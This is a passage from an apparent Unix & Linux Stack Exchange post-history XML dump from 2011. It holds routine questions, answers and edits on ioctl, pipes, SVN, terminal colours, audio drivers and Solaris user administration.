2&gt;&amp;1 | some-other-program&#xD;&#xA;&#xD;&#xA;So, if you poked around in `/proc/$PID_OF_SOME_OTHER_PROGRAM/fd`, you'd find a third FD attached to a pipe with the same inode number as is attached to FDs 1 and 2 for the `some-program` instance. This may also be what's happening with FDs 5 and 6 in your example, but I have no ready theory how these two FDs got tied together. You'd have to know what the program is doing internally to figure that out." />
  <row Id="24080" PostHistoryTypeId="5" PostId="4733" RevisionGUID="3f45910e-2eeb-41f1-9fb0-134ec7da8598" CreationDate="2011-03-24T21:18:23.103" UserId="885" Comment="compat_ioctl and unlocked_ioctl are actually unrelated; explain both" Text="Meta-answer: All the raw stuff happening to the Linux kernel goes through [lkml (the Linux kernel mailing list)](http://lkml.org/). For explicative summaries, read or search [lwn (Linux weekly news)](http://lwn.net/).&#xD;&#xA;&#xD;&#xA;Answer: From [The new way of ioctl()](http://lwn.net/Articles/119652/) by [Jonathan Corbet](http://lwn.net/Kernel/LDD3/):&#xD;&#xA;&#xD;&#xA;&gt; `ioctl()` is one of the remaining parts of the kernel which runs under the Big Kernel Lock (BKL). In the past, the usage of the BKL has made it possible for long-running `ioctl()` methods to create long latencies for unrelated processes.&#xD;&#xA;&#xD;&#xA;Follows an explanation of the patch that introduced `unlocked_ioctl` and `compat_ioctl`. The [removal of the `ioctl` field](http://lwn.net/Articles/394724/) happened a lot later.&#xD;&#xA;&#xD;&#xA;Explanation: When `ioctl` was executed, it took the [Big Kernel Lock](http://en.wikipedia.org/wiki/Giant_lock) (BKL), so nothing else could execute at the same time. This is very bad on a multiprocessor machine, so there was a big effort to get rid of the BKL. First, `unlocked_ioctl` was introduced. It lets each driver writer choose what lock to use instead. This can be difficult, so there was a period of transition during which old drivers still worked (using `ioctl`) but new drivers could use the improved interface (`unlocked_ioctl`). Eventually all drivers were converted and `ioctl` could be removed.&#xD;&#xA;&#xD;&#xA;`compat_ioctl` is actually unrelated, even though it was added at the same time. Its purpose is to allow 32-bit userland programs to make `ioctl` calls on a 64-bit kernel. The meaning of the last argument to `ioctl` depends on the driver, so there is no way to do a driver-independent conversion.&#xD;&#xA;" />
  <row Id="24081" PostHistoryTypeId="5" PostId="10048" RevisionGUID="0955d135-718a-4b1f-9819-d445ed4f91ee" CreationDate="2011-03-24T21:28:02.173" UserId="4" Comment="deleted 2 characters in body" Text="&gt; Running commands like less and looking at the output from a program that outputs using colors, the output is displayed wrong, like&#xD;&#xA;&#xD;&#xA;&gt; [ESC[0;32m0.052ESC[0m ESC[1;32m2,816.00 kbESC[0m]&#xD;&#xA;&#xD;&#xA;Try using `less --RAW-CONTROL-CHARS`.&#xD;&#xA;&#xD;&#xA;In this example I am using [logtool][1], which prints output using colors.&#xD;&#xA;&#xD;&#xA;Without --RAW-CONTROL-CHARS :&#xD;&#xA;&#xD;&#xA;    $ head -20 /var/log/messages | logtool | less&#xD;&#xA;    ESC[0mESC[0;37mMar 20 11:43:52ESC[0mESC[1;36m host1ESC[0mESC[0;37m rsyslogd:ESC[0m ^GESC[0;31mlast message repeated 14 timesESC[0mESC[0m&#xD;&#xA;&#xD;&#xA;With --RAW-CONTROL-CHAR (Imagine this is in pretty colors. Also, I am not sure why that `^G` is being displayed.):&#xD;&#xA;&#xD;&#xA;    $ head -20 /var/log/messages | logtool | less --RAW-CONTROL-CHARS&#xD;&#xA;    Mar 20 11:43:52 host1 rsyslogd: ^Glast message repeated 14 times&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xjack.org/logtool/" />
  <row Id="24082" PostHistoryTypeId="2" PostId="10061" RevisionGUID="aa6f27f6-bcbd-4c9e-8f23-3faa9e471afc" CreationDate="2011-03-24T22:04:45.017" UserId="3115" Text="Lets say I have 100+ files that I've checked out.  Is there a way I can add all of them to a changelist without specifying them one by one, or adding them to file?" />
  <row Id="24083" PostHistoryTypeId="1" PostId="10061" RevisionGUID="aa6f27f6-bcbd-4c9e-8f23-3faa9e471afc" CreationDate="2011-03-24T22:04:45.017" UserId="3115" Text="SVN changelist all my checkouts" />
  <row Id="24084" PostHistoryTypeId="3" PostId="10061" RevisionGUID="aa6f27f6-bcbd-4c9e-8f23-3faa9e471afc" CreationDate="2011-03-24T22:04:45.017" UserId="3115" Text="ésubversionà" />
  <row Id="24085" PostHistoryTypeId="5" PostId="10056" RevisionGUID="310a93b7-9e8d-4fe7-8617-10e2575f26dc" CreationDate="2011-03-24T22:06:19.010" UserId="138" Comment="clarity" Text="That's the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Inode&quot;&gt;inode&lt;/a&gt; number for the pipe or socket in question.&#xD;&#xA;&#xD;&#xA;A pipe is a unidirectional channel, with a write end and a read end. In your example, it looks like FD 5 and FD 6 are talking to each other, since the inode numbers are the same. (Maybe not, though. See below.)&#xD;&#xA;&#xD;&#xA;More common than seeing a program talking to itself over a pipe, as in your example, are two different programs talking to each other, typically because you set up a pipe between them with a shell:&#xD;&#xA;&#xD;&#xA;    shell-1$ ls -lR / | less&#xD;&#xA;&#xD;&#xA;Then in another terminal window:&#xD;&#xA;&#xD;&#xA;    shell-2$ ...find the ls and less PIDs with ps; say 4242 and 4243 for this example...&#xD;&#xA;    shell-2$ ls -l /proc/4242/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 1 -&gt; pipe:[222536390]&#xD;&#xA;    shell-2$ ls -l /proc/4243/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 0 -&gt; pipe:[222536390]&#xD;&#xA;&#xD;&#xA;This says that PID 4242's standard output (FD 1, by convention) is connected to a pipe with inode number 222536390, and that PID 4243's standard input (FD 0) is connected to the same pipe.&#xD;&#xA;&#xD;&#xA;All of which is a long way of saying that `ls`'s output is being sent to `less`'s input.&#xD;&#xA;&#xD;&#xA;Getting back to your example, FD 1 and FD 2 are almost certainly *not* talking to each other. Most likely this is the result of tying stdout (FD 1) and stderr (FD 2) together, so they both go to the same destination. You can do that with a Bourne shell like this:&#xD;&#xA;&#xD;&#xA;    $ some-program 2&gt;&amp;1 | some-other-program&#xD;&#xA;&#xD;&#xA;So, if you poked around in `/proc/$PID_OF_SOME_OTHER_PROGRAM/fd`, you'd find a third FD attached to a pipe with the same inode number as is attached to FDs 1 and 2 for the `some-program` instance. This may also be what's happening with FDs 5 and 6 in your example, but I have no ready theory how these two FDs got tied together. You'd have to know what the program is doing internally to figure that out." />
  <row Id="24086" PostHistoryTypeId="2" PostId="10062" RevisionGUID="5817c8c7-723c-4bf1-96a4-1f7a19149d4a" CreationDate="2011-03-24T22:55:57.887" UserId="885" Text="The best solution would be to use groups to manage groups — that's what they're for. Instead of giving the team the password to the `grp` account, make `grp` a group and make sure all files that should be accessible to the team are owned by that group and have group read and write permissions (as applicable). Using groups has many advantages, including instantly solving your immediate problem.&#xD;&#xA;&#xD;&#xA;If you can't do that because it's a policy set by your boss and he's stubborn, can you at least arrange to use something other than password authentication to get to the `su` account? For example, if you can add your ssh public key to the team account's `~/.ssh/authorized_keys`, you'll be able to ssh directly into it. (This is not a good way of managing authorizations, but you're abusing the system already by not using groups.)&#xD;&#xA;" />
  <row Id="24087" PostHistoryTypeId="2" PostId="10063" RevisionGUID="248da9df-42a2-43e8-9758-82051a9c384d" CreationDate="2011-03-24T23:09:08.723" UserId="6018" Text="As the title suggests I would like to setup a Bittornado tracker for a local network. At the moment I am using openbittorent as my tracker but this seems strange as I don't want to do this over the net and I'm not sure how secure or legal it is.&#xD;&#xA;&#xD;&#xA;The &quot;server&quot; is running Bodhi Linux&#xD;&#xA;&#xD;&#xA;I found a how-to on TuxCoder using this command to start the tracker&#xD;&#xA;&#xD;&#xA;    bttrack --port 6969 --dfile ~/.bttrack/dstate --logfile ~/.bttrack/tracker.log --nat_check 0 --scrape_allowed full&#xD;&#xA;&#xD;&#xA;However I get back a depreciation warning&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    /usr/lib/pymodules/python2.6/BitTornado/__init__.py:8: DeprecationWarning: the sha module is deprecated; use the hashlib module instead&#xD;&#xA;      from sha import sha&#xD;&#xA;    **warning** could not redirect stdout to log file:  &lt;type 'exceptions.IOError'&gt;&#xD;&#xA;&#xD;&#xA;It may be that there is a better tracker out there I'm not an expert which is why I'm asking this question." />
  <row Id="24088" PostHistoryTypeId="1" PostId="10063" RevisionGUID="248da9df-42a2-43e8-9758-82051a9c384d" CreationDate="2011-03-24T23:09:08.723" UserId="6018" Text="How do I Set up a Bittornado Tracker?" />
  <row Id="24089" PostHistoryTypeId="3" PostId="10063" RevisionGUID="248da9df-42a2-43e8-9758-82051a9c384d" CreationDate="2011-03-24T23:09:08.723" UserId="6018" Text="éserveràébittorrentà" />
  <row Id="24090" PostHistoryTypeId="2" PostId="10064" RevisionGUID="e2b20499-f47a-443f-b6b6-37ed7035e5a4" CreationDate="2011-03-24T23:23:59.660" UserId="4194" Text="You are not really clear about what you want: you say that you checked 100+ files out, but you want to add them to the repository.  I'll go over both adding files already in a workspace and committing modifications in a workspace.&#xD;&#xA;&#xD;&#xA;To add a directory tree to an already checked out working copy, use `svn add --force .` which will add all the unversioned files in your working copy starting at the current directory (even though the current directory is versioned).  The added files will still need to be committed to the repository.&#xD;&#xA;&#xD;&#xA;To commit modifications, you can run `svn commit -m &quot;*insert comment here* .` which will commit all the changes in the working copy from the current directory down to the repository." />
  <row Id="24091" PostHistoryTypeId="25" PostId="10061" RevisionGUID="ddc73851-c3d7-4647-b23c-45f2e51283cf" CreationDate="2011-03-24T23:31:36.140" Comment="http://twitter.com/#!/StackUnix/status/51063644066299904" />
  <row Id="24092" PostHistoryTypeId="2" PostId="10065" RevisionGUID="b4d4189f-5439-45a8-8b27-9bb85b930239" CreationDate="2011-03-25T00:04:47.773" UserId="3169" Text="&gt; The idea is for my application to know not to color the output if the program can't print, say, logging output from through a cron job to a file, no need to log colored output, but when running manually, i like to view the output colored&#xD;&#xA;&#xD;&#xA;What language are you writing your application in?&#xD;&#xA;&#xD;&#xA;The normal approach is to check if the output device is a tty, and if it is, check if that type of terminal supports colors.&#xD;&#xA;&#xD;&#xA;In `bash`, that would look like&#xD;&#xA;&#xD;&#xA;    # check if stdout is a terminal...&#xD;&#xA;    if [ -t 1 ]; then&#xD;&#xA;&#xD;&#xA;        # see if it supports colors...&#xD;&#xA;        ncolors=$(tput colors)&#xD;&#xA;&#xD;&#xA;        if test -n &quot;$ncolors&quot; &amp;&amp; test $ncolors -ge 8; then&#xD;&#xA;            bold=&quot;$(tput bold)&quot;&#xD;&#xA;            underline=&quot;$(tput smul)&quot;&#xD;&#xA;            standout=&quot;$(tput smso)&quot;&#xD;&#xA;            normal=&quot;$(tput sgr0)&quot;&#xD;&#xA;            black=&quot;$(tput setaf 0)&quot;&#xD;&#xA;            red=&quot;$(tput setaf 1)&quot;&#xD;&#xA;            green=&quot;$(tput setaf 2)&quot;&#xD;&#xA;            yellow=&quot;$(tput setaf 3)&quot;&#xD;&#xA;            blue=&quot;$(tput setaf 4)&quot;&#xD;&#xA;            magenta=&quot;$(tput setaf 5)&quot;&#xD;&#xA;            cyan=&quot;$(tput setaf 6)&quot;&#xD;&#xA;            white=&quot;$(tput setaf 7)&quot;&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    echo &quot;${red}error${normal}&quot;&#xD;&#xA;    echo &quot;${green}success${normal}&quot;&#xD;&#xA;    # etc.&#xD;&#xA;&#xD;&#xA;In C, you have to do a lot more typing, but can achieve the same result using [isatty][1] and the functions listed in `man 3 terminfo`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html" />
  <row Id="24093" PostHistoryTypeId="2" PostId="10066" RevisionGUID="31c610ec-da43-4c6f-956e-3e0fad622b39" CreationDate="2011-03-25T00:11:07.397" UserId="2362" Text="&gt; $ ls&#xD;&#xA;&gt; ./dir_with_huge_amount_of_files/errors/&#xD;&#xA;&#xD;&#xA;Suppose a dir is full of pictures with unix timestamps, I mean a lot measured in many GBs or even more. Shell-commands like `ls` will get overflow-style warnings because they are not designed to work with millions (or more) of pictures. How can I manage such huge amount of files? If I for example want to find the picture in the middle (according to timestamp in the name and creation time), is there some fs that offers a built-in search feature? Which commands would you use? I tried the comfortable `ls` and `find` with necessary flags but they were either very slow or warnings so I am thinking that either I need better fs or db or something like that to pre-index the pictures. Please, note the chronological order in the pictures with unix timestamps." />
  <row Id="24094" PostHistoryTypeId="1" PostId="10066" RevisionGUID="31c610ec-da43-4c6f-956e-3e0fad622b39" CreationDate="2011-03-25T00:11:07.397" UserId="2362" Text="How to manage huge amount of files in shell?" />
  <row Id="24095" PostHistoryTypeId="3" PostId="10066" RevisionGUID="31c610ec-da43-4c6f-956e-3e0fad622b39" CreationDate="2011-03-25T00:11:07.397" UserId="2362" Text="éshellàéfilesystemsà" />
  <row Id="24096" PostHistoryTypeId="5" PostId="10065" RevisionGUID="44fb8115-cad4-4b3f-879d-59627ef91d6a" CreationDate="2011-03-25T00:13:56.070" UserId="3169" Comment="added 73 characters in body" Text="&gt; The idea is for my application to know not to color the output if the program can't print, say, logging output from through a cron job to a file, no need to log colored output, but when running manually, i like to view the output colored&#xD;&#xA;&#xD;&#xA;What language are you writing your application in?&#xD;&#xA;&#xD;&#xA;The normal approach is to check if the output device is a tty, and if it is, check if that type of terminal supports colors.&#xD;&#xA;&#xD;&#xA;In `bash`, that would look like&#xD;&#xA;&#xD;&#xA;    # check if stdout is a terminal...&#xD;&#xA;    if [ -t 1 ]; then&#xD;&#xA;&#xD;&#xA;        # see if it supports colors...&#xD;&#xA;        ncolors=$(tput colors)&#xD;&#xA;&#xD;&#xA;        if test -n &quot;$ncolors&quot; &amp;&amp; test $ncolors -ge 8; then&#xD;&#xA;            bold=&quot;$(tput bold)&quot;&#xD;&#xA;            underline=&quot;$(tput smul)&quot;&#xD;&#xA;            standout=&quot;$(tput smso)&quot;&#xD;&#xA;            normal=&quot;$(tput sgr0)&quot;&#xD;&#xA;            black=&quot;$(tput setaf 0)&quot;&#xD;&#xA;            red=&quot;$(tput setaf 1)&quot;&#xD;&#xA;            green=&quot;$(tput setaf 2)&quot;&#xD;&#xA;            yellow=&quot;$(tput setaf 3)&quot;&#xD;&#xA;            blue=&quot;$(tput setaf 4)&quot;&#xD;&#xA;            magenta=&quot;$(tput setaf 5)&quot;&#xD;&#xA;            cyan=&quot;$(tput setaf 6)&quot;&#xD;&#xA;            white=&quot;$(tput setaf 7)&quot;&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    echo &quot;${red}error${normal}&quot;&#xD;&#xA;    echo &quot;${green}success${normal}&quot;&#xD;&#xA;&#xD;&#xA;    echo &quot;${green}0.052${normal} ${bold}${green}2,816.00 kb${normal}&quot;&#xD;&#xA;    # etc.&#xD;&#xA;&#xD;&#xA;In C, you have to do a lot more typing, but can achieve the same result using [isatty][1] and the functions listed in `man 3 terminfo`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html" />
  <row Id="24097" PostHistoryTypeId="5" PostId="10066" RevisionGUID="9045552d-690d-4898-aad4-c535650c1e8d" CreationDate="2011-03-25T00:18:32.930" UserId="2362" Comment="added 91 characters in body" Text="&gt; $ ls&#xD;&#xA;&gt; ./dir_with_huge_amount_of_files/errors/&#xD;&#xA;&#xD;&#xA;Suppose a dir is full of pictures with unix timestamps, I mean a lot measured in many GBs or even more. Shell-commands like `ls` will get overflow-style warnings because they are not designed to work with millions (or more) of pictures. How can I manage such huge amount of files? If I for example want to find the picture in the middle (according to timestamp in the name and creation time), is there some fs that offers a built-in search feature? Which commands would you use? I tried the comfortable `ls` and `find` with necessary flags but they were either very slow or warnings so I am thinking that either I need better fs or db or something like that to pre-index the pictures. I basically need one array to which inodes of the photos should be placed in chronological order. How to do that? Later metadata with unix-timestamps could be added." />
  <row Id="24098" PostHistoryTypeId="2" PostId="10067" RevisionGUID="c53b1371-e623-4d8a-8b99-41a7d11cec38" CreationDate="2011-03-25T00:32:35.530" UserId="3001" Text="From `utmp(5)`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    The system time has been manually or automatically updated (see&#xD;&#xA;    date(1)).  The command name date is recorded in the field&#xD;&#xA;    ut_name.  In the field ut_line, the character `|' indicates the&#xD;&#xA;    time prior to the change, and the character `{' indicates the&#xD;&#xA;    new time.&#xD;&#xA;&#xD;&#xA;So the I and { are just there to indicate that the system time is being changed." />
  <row Id="24099" PostHistoryTypeId="5" PostId="9998" RevisionGUID="8788a921-02b3-4a30-a692-dfd42711b1e9" CreationDate="2011-03-25T01:18:25.743" UserId="2362" Comment="added 900 characters in body" Text="&gt; In information security, integrity&#xD;&#xA;&gt; means that data cannot be modified&#xD;&#xA;&gt; undetectably.&#xD;&#xA;&#xD;&#xA;[This answer][1] raised my interest, of course, I want to guarantee the integrity of my OS, outlined [here][2]. Suppose a security camera project where you store every photo to a folder. I used fswebcam -program, crontab and some bash scripts to automatically to shoot photos. I did it for second-hand store on very low budget, re-used old laptops and old cameras, and with limitations such as no internet connection. I am unsure whether the os, obsd, offers some extra features not in use which I could use, perhaps some sort of paranoia mode. Basically, each comp had clearly predefined schedule: take a photo (execute a script, ...),  save it to a file, ... -- if anything different, alarm. I don't know whether there is any way to freeze the rest of the os in a way that it is totally unusable in other services. Some of the laptops could be shooters while one laptop could be a receiver or core data center. &#xD;&#xA;&#xD;&#xA; - How can you do it with obsd laptops that can work in concert?&#xD;&#xA; - How could you guarantee the integrity of the OS so that no picture cannot be removed or if removed it will leave traces?&#xD;&#xA; - In which mode would you put a shooter and a receiver obsds? Are they in different modes and why?&#xD;&#xA;&#xD;&#xA;**Related but not the same**&#xD;&#xA;&#xD;&#xA; 1. [favourite integrity monitoring software?][3]&#xD;&#xA; 2. [Verifying server software integrity?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9527/full-disk-encryption-on-openbsd/9684#9684&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/CIA_triad#Integrity&#xD;&#xA;  [3]: http://security.stackexchange.com/questions/1159/what-is-your-favorite-file-integrity-monitoring-software&#xD;&#xA;  [4]: http://security.stackexchange.com/questions/2459/verifying-server-software-integrity" />
  <row Id="24100" PostHistoryTypeId="2" PostId="10068" RevisionGUID="86dc02bf-fb1d-4eea-8abd-87571f5d6b7d" CreationDate="2011-03-25T02:08:12.113" UserId="6026" Text="I'm a high school student trying to build a linux cluster for a project (I have a bunch of decent computers slated for re-image this summer, so the tech department basically says as long as I don't physically break them I can do whatever. &#xD;&#xA;&#xD;&#xA;Anyway, I don't really know anything about building a cluster, but I'm pretty good with Linux.&#xD;&#xA;&#xD;&#xA;I need to know these things:&#xD;&#xA;-What distro should I use? Does it even matter?&#xD;&#xA;-What software can configure the cluster?&#xD;&#xA;-On board or distributed FS?&#xD;&#xA;-Any sites that can offer decent guides or how-tos?" />
  <row Id="24101" PostHistoryTypeId="1" PostId="10068" RevisionGUID="86dc02bf-fb1d-4eea-8abd-87571f5d6b7d" CreationDate="2011-03-25T02:08:12.113" UserId="6026" Text="Small Distributed Computing Cluster" />
  <row Id="24102" PostHistoryTypeId="3" PostId="10068" RevisionGUID="86dc02bf-fb1d-4eea-8abd-87571f5d6b7d" CreationDate="2011-03-25T02:08:12.113" UserId="6026" Text="édistributedöfilesystemà" />
  <row Id="24103" PostHistoryTypeId="2" PostId="10069" RevisionGUID="e39c365f-9f82-4432-b559-f822f9a6a038" CreationDate="2011-03-25T02:24:11.983" UserId="6027" Text="The rear and center channels on my 5.1 speakers don't work,&#xD;&#xA;&#xD;&#xA;I've checked the connections a few time, and turned up volume sliders in alsamixer&#xD;&#xA;&#xD;&#xA;'system information' in alsamixer correctly identifies the card,&#xD;&#xA;&#xD;&#xA;X-Fi Extreme Audio [SB0790] at 0xdc00 irq 21&#xD;&#xA;&#xD;&#xA;when I try &#xD;&#xA;&#xD;&#xA;sudo alsactl init&#xD;&#xA;&#xD;&#xA;i receive error: &#xD;&#xA;&#xD;&#xA;alsactl: parse:1655: Unable to open file '/usr/share/alsa/init/ca0106': No such file or directory&#xD;&#xA;&#xD;&#xA;what is this file, could this be the problem, how do i fix it&#xD;&#xA;&#xD;&#xA;running squeeze amd64" />
  <row Id="24104" PostHistoryTypeId="1" PostId="10069" RevisionGUID="e39c365f-9f82-4432-b559-f822f9a6a038" CreationDate="2011-03-25T02:24:11.983" UserId="6027" Text="5.1 speakers on soundblaster x-fi 'extreme audio'" />
  <row Id="24105" PostHistoryTypeId="3" PostId="10069" RevisionGUID="e39c365f-9f82-4432-b559-f822f9a6a038" CreationDate="2011-03-25T02:24:11.983" UserId="6027" Text="éaudioàéalsaà" />
  <row Id="24106" PostHistoryTypeId="2" PostId="10070" RevisionGUID="0d4b4c61-2a84-40e5-9762-3fc96f35cf8f" CreationDate="2011-03-25T02:30:32.297" UserId="5919" Text="Hello guys,&#xD;&#xA;&#xD;&#xA;I have been using Linux and Ubuntu only since the last two months on my (2006) Sony Vaio VGN A617S laptop which is going pretty well on Ubuntu 10.10. When installing Ubuntu audio did get installed alright, and the speakers on the laptop itself are working well even now with the right drivers (snd-hda-intel) for the Realtek ALC260 soundcard.&#xD;&#xA;&#xD;&#xA;My problem is when laptop is docked to the A/V docking station (I have seen it referred as a port replicator as well - the model number is VGP-PRAV2), with its two external speakers. And these were not on when Ubuntu was being installed. What is interesting is the headphones jack on the laptop does work when the docking station does not.&#xD;&#xA;&#xD;&#xA;I have been trying hard and have already tried quite a few things I saw to be related issues, like: a) adjustments to some IEC958 in alsamixer b) using a custom mod for the ALC260 card&#xD;&#xA;&#xD;&#xA;All this is to no avail.&#xD;&#xA;&#xD;&#xA;If someone could help me with this, that would be really appreciated.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;" />
  <row Id="24107" PostHistoryTypeId="1" PostId="10070" RevisionGUID="0d4b4c61-2a84-40e5-9762-3fc96f35cf8f" CreationDate="2011-03-25T02:30:32.297" UserId="5919" Text="No sound when attached to docking station" />
  <row Id="24108" PostHistoryTypeId="3" PostId="10070" RevisionGUID="0d4b4c61-2a84-40e5-9762-3fc96f35cf8f" CreationDate="2011-03-25T02:30:32.297" UserId="5919" Text="éubuntuàéaudioàélaptopàéalsaà" />
  <row Id="24109" PostHistoryTypeId="25" PostId="10066" RevisionGUID="8d6f3f8c-cc7d-4c75-a577-941c0f72fcaa" CreationDate="2011-03-25T02:31:36.897" Comment="http://twitter.com/#!/StackUnix/status/51108944495656960" />
  <row Id="24110" PostHistoryTypeId="5" PostId="10001" RevisionGUID="5144360b-826f-4f6a-a4c0-eb9af36ccf2d" CreationDate="2011-03-25T02:31:39.753" UserId="3519" Comment="added 1 characters in body" Text="Just an off-the-side idea for your particular example and to keep things simple: you could send off-site a hash of every picture (if you cannot afford the whole picture).&#xD;&#xA;&#xD;&#xA;Make sure that the off-site service has &quot;add&quot; capability only (and read of course), i.e. that the source system cannot remove existing records.&#xD;&#xA;&#xD;&#xA;Lastly have a trip-wire style off-site script to compare the source server with the off-site hash history.&#xD;&#xA;&#xD;&#xA;Not sure this answers your question, but to me there is no easy way to absolutely guarantee one system's integrity without having recourse to the outside world (third-party). Even then it cannot be a 100% guarantee ever, but at least you are significantly reducing the risks of all systems being compromised." />
  <row Id="24111" PostHistoryTypeId="2" PostId="10071" RevisionGUID="0fcba11f-6213-4d04-bc0a-4cf8b0748eac" CreationDate="2011-03-25T02:57:14.520" UserId="3850" Text="for some rather strange reason my sharing preferences tab crashes (it's a long story and there seems to be no good solution for it, it's looking for a ui object that no longer exists).&#xD;&#xA;&#xD;&#xA;Anyway, I want to enable internet sharing to share my macbook's internet connection with my iPad but I can't find a way to do it without the gui or apple script (which basically calls the gui).&#xD;&#xA;" />
  <row Id="24112" PostHistoryTypeId="1" PostId="10071" RevisionGUID="0fcba11f-6213-4d04-bc0a-4cf8b0748eac" CreationDate="2011-03-25T02:57:14.520" UserId="3850" Text="How can I enable internet sharing without using the gui or apple script on snow leopard?" />
  <row Id="24113" PostHistoryTypeId="3" PostId="10071" RevisionGUID="0fcba11f-6213-4d04-bc0a-4cf8b0748eac" CreationDate="2011-03-25T02:57:14.520" UserId="3850" Text="éosxàéconnectionösharingà" />
  <row Id="24114" PostHistoryTypeId="2" PostId="10072" RevisionGUID="17c96ac7-a17d-4113-9c10-28958da363f7" CreationDate="2011-03-25T03:19:26.327" UserId="6028" Text="i add new user in solaris 10, but error:&#xD;&#xA;&#xD;&#xA;    useradd -g oinstall -G dba -d /export/home/oracle oracle&#xD;&#xA;&#xD;&#xA;    UX: useradd: ERROR: Inconsistent password files.  See pwconv(1M).&#xD;&#xA;&#xD;&#xA;i run `pwconv` but nothing display&#xD;&#xA;&#xD;&#xA;i also try sync shadow &amp; passwd file, but still error&#xD;&#xA;&#xD;&#xA;    wc -l /etc/passwd /etc/shadow&#xD;&#xA;&#xD;&#xA;      17 /etc/passwd&#xD;&#xA;&#xD;&#xA;      17 /etc/shadow&#xD;&#xA;&#xD;&#xA;      34 total" />
  <row Id="24115" PostHistoryTypeId="1" PostId="10072" RevisionGUID="17c96ac7-a17d-4113-9c10-28958da363f7" CreationDate="2011-03-25T03:19:26.327" UserId="6028" Text="add new user in solaris system" />
  <row Id="24116" PostHistoryTypeId="3" PostId="10072" RevisionGUID="17c96ac7-a17d-4113-9c10-28958da363f7" CreationDate="2011-03-25T03:19:26.327" UserId="6028" Text="ésolarisà" />
  <row Id="24117" PostHistoryTypeId="5" PostId="10072" RevisionGUID="f724a0e9-a162-4dad-8ec0-f99ba2e30a95" CreationDate="2011-03-25T03:46:14.370" UserId="73" Comment="added 47 characters in body; edited tags; edited title" Text="I tried to add a new user in solaris 10, but got an error:&#xD;&#xA;&#xD;&#xA;    $ useradd -g oinstall -G dba -d /export/home/oracle oracle&#xD;&#xA;    UX: useradd: ERROR: Inconsistent password files.  See pwconv(1M).&#xD;&#xA;&#xD;&#xA;I ran `pwconv`, but nothing was displayed. I also tried to sync the `shadow` &amp; `passwd` files, but there's still an error:&#xD;&#xA;&#xD;&#xA;    $ wc -l /etc/passwd /etc/shadow&#xD;&#xA;      17 /etc/passwd&#xD;&#xA;      17 /etc/shadow&#xD;&#xA;      34 total&#xD;&#xA;" />
  <row Id="24118" PostHistoryTypeId="6" PostId="10072" RevisionGUID="f724a0e9-a162-4dad-8ec0-f99ba2e30a95" CreationDate="2011-03-25T03:46:14.370" UserId="73" Comment="added 47 characters in body; edited tags; edited title" Text="ésolarisàéuseraddàépwconvà" />
  <row Id="24119" PostHistoryTypeId="4" PostId="10072" RevisionGUID="f724a0e9-a162-4dad-8ec0-f99ba2e30a95" CreationDate="2011-03-25T03:46:14.370" UserId="73" Comment="added 47 characters in body; edited tags; edited title" Text="Add new user in solaris" />
  <row Id="24120" PostHistoryTypeId="2" PostId="10073" RevisionGUID="7fa686e9-54ab-496f-a16d-1f3c26b927c1" CreationDate="2011-03-25T03:53:35.423" UserId="3519" Text="Try [Linux HA][1] (High Availability). But don't ask me more. It's probably only one of several solutions. I don't know what's good and what's not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-ha.org/wiki/Main_Page" />
  <row Id="24121" PostHistoryTypeId="2" PostId="10074" RevisionGUID="210b58fb-263d-4b81-9c07-bfd049c88373" CreationDate="2011-03-25T03:57:33.657" UserId="3519" Text="Would `locate` (and of course `updatedb`) be of any help to you?" />
  <row Id="24122" PostHistoryTypeId="5" PostId="10056" RevisionGUID="e089e804-8518-4a83-a6ca-4a437ee81445" CreationDate="2011-03-25T04:12:55.673" UserId="138" Comment="clarity tweak" Text="That's the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Inode&quot;&gt;inode&lt;/a&gt; number for the pipe or socket in question.&#xD;&#xA;&#xD;&#xA;A pipe is a unidirectional channel, with a write end and a read end. In your example, it looks like FD 5 and FD 6 are talking to each other, since the inode numbers are the same. (Maybe not, though. See below.)&#xD;&#xA;&#xD;&#xA;More common than seeing a program talking to itself over a pipe is a pair of separatet programs talking to each other, typically because you set up a pipe between them with a shell:&#xD;&#xA;&#xD;&#xA;    shell-1$ ls -lR / | less&#xD;&#xA;&#xD;&#xA;Then in another terminal window:&#xD;&#xA;&#xD;&#xA;    shell-2$ ...find the ls and less PIDs with ps; say 4242 and 4243 for this example...&#xD;&#xA;    shell-2$ ls -l /proc/4242/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 1 -&gt; pipe:[222536390]&#xD;&#xA;    shell-2$ ls -l /proc/4243/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 0 -&gt; pipe:[222536390]&#xD;&#xA;&#xD;&#xA;This says that PID 4242's standard output (FD 1, by convention) is connected to a pipe with inode number 222536390, and that PID 4243's standard input (FD 0) is connected to the same pipe.&#xD;&#xA;&#xD;&#xA;All of which is a long way of saying that `ls`'s output is being sent to `less`'s input.&#xD;&#xA;&#xD;&#xA;Getting back to your example, FD 1 and FD 2 are almost certainly *not* talking to each other. Most likely this is the result of tying stdout (FD 1) and stderr (FD 2) together, so they both go to the same destination. You can do that with a Bourne shell like this:&#xD;&#xA;&#xD;&#xA;    $ some-program 2&gt;&amp;1 | some-other-program&#xD;&#xA;&#xD;&#xA;So, if you poked around in `/proc/$PID_OF_SOME_OTHER_PROGRAM/fd`, you'd find a third FD attached to a pipe with the same inode number as is attached to FDs 1 and 2 for the `some-program` instance. This may also be what's happening with FDs 5 and 6 in your example, but I have no ready theory how these two FDs got tied together. You'd have to know what the program is doing internally to figure that out." />
